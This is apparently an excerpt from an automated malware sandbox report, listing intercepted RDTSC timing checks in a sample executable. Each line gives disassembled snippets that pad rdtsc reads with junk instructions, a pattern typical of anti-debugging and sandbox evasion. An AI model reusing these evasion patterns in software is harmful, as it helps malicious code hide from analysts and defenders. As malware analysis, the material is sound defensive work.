Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBB67D second address: DBB687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4010E98D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBB687 second address: DBB68B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBB804 second address: DBB808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBB808 second address: DBB826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push esi 0x0000000b jmp 00007F4010EA3D7Eh 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBBACA second address: DBBAD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBBAD0 second address: DBBAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4010EA3D81h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBBC83 second address: DBBC94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F4010E98D46h 0x00000009 je 00007F4010E98D46h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBBC94 second address: DBBC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBBC9D second address: DBBCA7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4010E98D46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DBC657 second address: DBC67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D7Fh 0x00000009 ja 00007F4010EA3D76h 0x0000000f jbe 00007F4010EA3D76h 0x00000015 popad 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC25F9 second address: DC261B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4010E98D46h 0x00000008 jmp 00007F4010E98D4Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 jno 00007F4010E98D46h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC261B second address: DC2642 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F4010EA3D84h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC2642 second address: DC2647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC295C second address: DC2966 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4010EA3D88h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC7C6E second address: DC7C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC7C74 second address: DC7C8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D85h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC8556 second address: DC858E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D55h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jp 00007F4010E98D46h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4010E98D53h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DC858E second address: DC8592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DCBF9C second address: DCBFB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D50h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DCBA17 second address: DCBA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DCBA1B second address: DCBA3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F4010E98D52h 0x0000000c jp 00007F4010E98D46h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD0832 second address: DD0838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD0838 second address: DD0845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F4010E98D46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DCFDFE second address: DCFE06 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD00F1 second address: DD00F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD026E second address: DD0273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD0273 second address: DD0285 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4010E98D4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD0285 second address: DD028B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD644D second address: DD6459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD6459 second address: DD646A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD646A second address: DD646E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD6A08 second address: DD6A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F4010EA3D80h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD6A23 second address: DD6A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD72C1 second address: DD72C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD72C7 second address: DD72E6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4010E98D46h 0x00000008 jnl 00007F4010E98D46h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F4010E98D4Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD72E6 second address: DD72EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD75B0 second address: DD75B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD75B4 second address: DD7611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010EA3D85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F4010EA3D89h 0x0000000f ja 00007F4010EA3D76h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4010EA3D7Fh 0x0000001d jmp 00007F4010EA3D82h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD7611 second address: DD7615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD7615 second address: DD762E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D7Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD762E second address: DD7635 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD78FB second address: DD7901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DD7EC2 second address: DD7ECC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDC1AE second address: DDC1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F4010EA3D88h 0x0000000b popad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB503 second address: DDB507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB507 second address: DDB54A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4010EA3D76h 0x00000008 ja 00007F4010EA3D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F4010EA3D7Dh 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F4010EA3D8Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 jp 00007F4010EA3D76h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB54A second address: DDB550 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB550 second address: DDB556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB686 second address: DDB6B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 je 00007F4010E98D46h 0x0000000d popad 0x0000000e jne 00007F4010E98D52h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jg 00007F4010E98D4Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB6B9 second address: DDB6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB850 second address: DDB854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB854 second address: DDB85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDB9BC second address: DDB9E8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4010E98D46h 0x00000008 jmp 00007F4010E98D54h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007F4010E98D46h 0x00000017 jo 00007F4010E98D46h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDBD38 second address: DDBD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 jnp 00007F4010EA3D76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDBD46 second address: DDBD4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDBD4A second address: DDBD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDBD52 second address: DDBD8E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4010E98D4Ch 0x00000008 jns 00007F4010E98D5Fh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 jp 00007F4010E98D48h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDBD8E second address: DDBD94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDBED1 second address: DDBEE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F4010E98D4Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DDBEE9 second address: DDBEF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE8C87 second address: DE8C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE8C8D second address: DE8CA9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4010EA3D76h 0x00000008 jmp 00007F4010EA3D82h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE8CA9 second address: DE8CCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4010E98D4Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4010E98D51h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE8CCD second address: DE8D18 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4010EA3D76h 0x00000008 jmp 00007F4010EA3D7Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 jns 00007F4010EA3D76h 0x0000001a jmp 00007F4010EA3D7Eh 0x0000001f pop edi 0x00000020 jmp 00007F4010EA3D89h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE8D18 second address: DE8D1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE8D1E second address: DE8D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE7023 second address: DE702D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE762A second address: DE765B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007F4010EA3D7Ch 0x0000000b jg 00007F4010EA3D7Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4010EA3D7Eh 0x00000018 js 00007F4010EA3D76h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE7C07 second address: DE7C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE7C0B second address: DE7C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE7C0F second address: DE7C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010E98D4Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE7C28 second address: DE7C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE7C2C second address: DE7C3A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4010E98D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE7D67 second address: DE7D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE8B2D second address: DE8B39 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4010E98D4Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DE69FF second address: DE6A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DEFE91 second address: DEFE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DFB0B1 second address: DFB0B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DFADEF second address: DFADF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DFADF3 second address: DFAE20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4010EA3D89h 0x0000000f jmp 00007F4010EA3D7Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DFAE20 second address: DFAE24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: DFF810 second address: DFF814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E02F14 second address: E02F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E02F18 second address: E02F1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E02F1C second address: E02F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4010E98D46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E0FB6F second address: E0FB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E0FB73 second address: E0FB77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E0FB77 second address: E0FB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F4010EA3D7Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D273D0 second address: D273D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D273D4 second address: D273D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D273D8 second address: D273E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D273E3 second address: D2740B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D89h 0x00000009 pop esi 0x0000000a popad 0x0000000b pushad 0x0000000c js 00007F4010EA3D7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: D2740B second address: D27423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010E98D51h 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E1552A second address: E15530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E1581D second address: E1585F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010E98D51h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c js 00007F4010E98D5Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F4010E98D56h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jne 00007F4010E98D46h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\hBBxlxfQ3F.exe	RDTSC instruction interceptor: First address: E1585F second address: E1587B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4010EA3D87h 0x00000009 popad 0x0000000a rdtsc
